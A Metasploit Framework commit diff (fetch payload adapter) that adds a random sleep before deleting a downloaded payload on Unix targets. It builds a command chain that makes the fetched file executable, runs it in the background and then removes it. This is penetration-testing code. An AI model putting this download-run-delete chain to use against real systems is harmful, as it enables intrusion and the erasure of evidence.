Add sleep to prevent race condition, remove unneeded spaces

rapid7 · Dec 13, 2024 · 594946d · 594946d
1 parent 2faa33e
commit 594946d
Showing 1 changed file with 6 additions and 4 deletions.
diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb
@@ -202,12 +202,14 @@ def _execute_win
   end
 
   def _execute_nix
-    cmds = "; chmod +x #{_remote_destination_nix}"
+    cmds = ";chmod +x #{_remote_destination_nix}"
     if datastore['FETCH_DELETE']
-      cmds << "; (#{_remote_destination_nix} &)"
-      cmds << ";rm -rf #{_remote_destination_nix}"
+      # sometimes the delete can happen before the process is created
+      sleep_delete = rand(2..7)
+      cmds << ";(#{_remote_destination_nix} &)"
+      cmds << ";sleep #{sleep_delete};rm -rf #{_remote_destination_nix}"
     else
-      cmds << "; #{_remote_destination_nix} &"
+      cmds << ";#{_remote_destination_nix} &"
     end
     cmds
   end